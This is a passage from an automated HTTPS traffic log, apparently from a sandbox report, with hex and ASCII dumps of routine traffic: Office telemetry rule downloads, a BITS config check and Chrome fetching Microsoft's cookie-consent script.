2024-11-18 19:21:50 UTC	16384	IN	Data Raw: 76 5d 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 Data Ascii: v])),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:48 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:48 UTC	495	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:48 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 3a2d1fa5-b01e-0098-62ef-39cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192148Z-16547b76f7f6nr89hC1DFWz7ug00000002e000000000w115 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:48 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:48 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:48 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5e3aaffc-501e-0064-42f8-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192148Z-164f84587bftbpb6hC1DFWm4kg0000000520000000006hxz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:48 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:48 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 7a5959cf-b01e-0097-4ca5-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192148Z-1866b5c5fbbwlv6nhC1DFWw4bs00000004t000000000373t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:48 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:48 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:48 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 776d52d1-a01e-0032-19c4-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192148Z-1866b5c5fbbbf2bdhC1DFWu6f4000000034g00000000tv2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:48 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:48 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:48 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192148Z-16547b76f7fr5rfnhC1DFW0am400000003ng00000000r228 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:48 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49862	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:48 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-18 19:21:48 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=163416 Date: Mon, 18 Nov 2024 19:21:48 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49864	13.107.246.45	443	2292	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:49 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-18 19:21:49 UTC	713	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:49 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 36340 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: c254d5cd-a01e-0060-689a-3951de000000 x-ms-version: 2009-09-19 x-azure-ref: 20241118T192149Z-16547b76f7fpdsp9hC1DFW8f5000000003vg000000008t63 Accept-Ranges: bytes
2024-11-18 19:21:49 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-18 19:21:49 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-18 19:21:49 UTC	711	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-18 19:21:49 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-butto
2024-11-18 19:21:49 UTC	3567	IN	Data Raw: 28 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e Data Ascii: ("-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:49 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:49 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:49 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 70970467-901e-0016-71b3-39efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192149Z-16547b76f7fgvq8chC1DFWhd2w00000006tg00000000g1q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 19:21:49 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:49 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:49 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:49 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192149Z-1866b5c5fbb5hnj5hC1DFW18sc00000006cg00000000fbu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:49 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
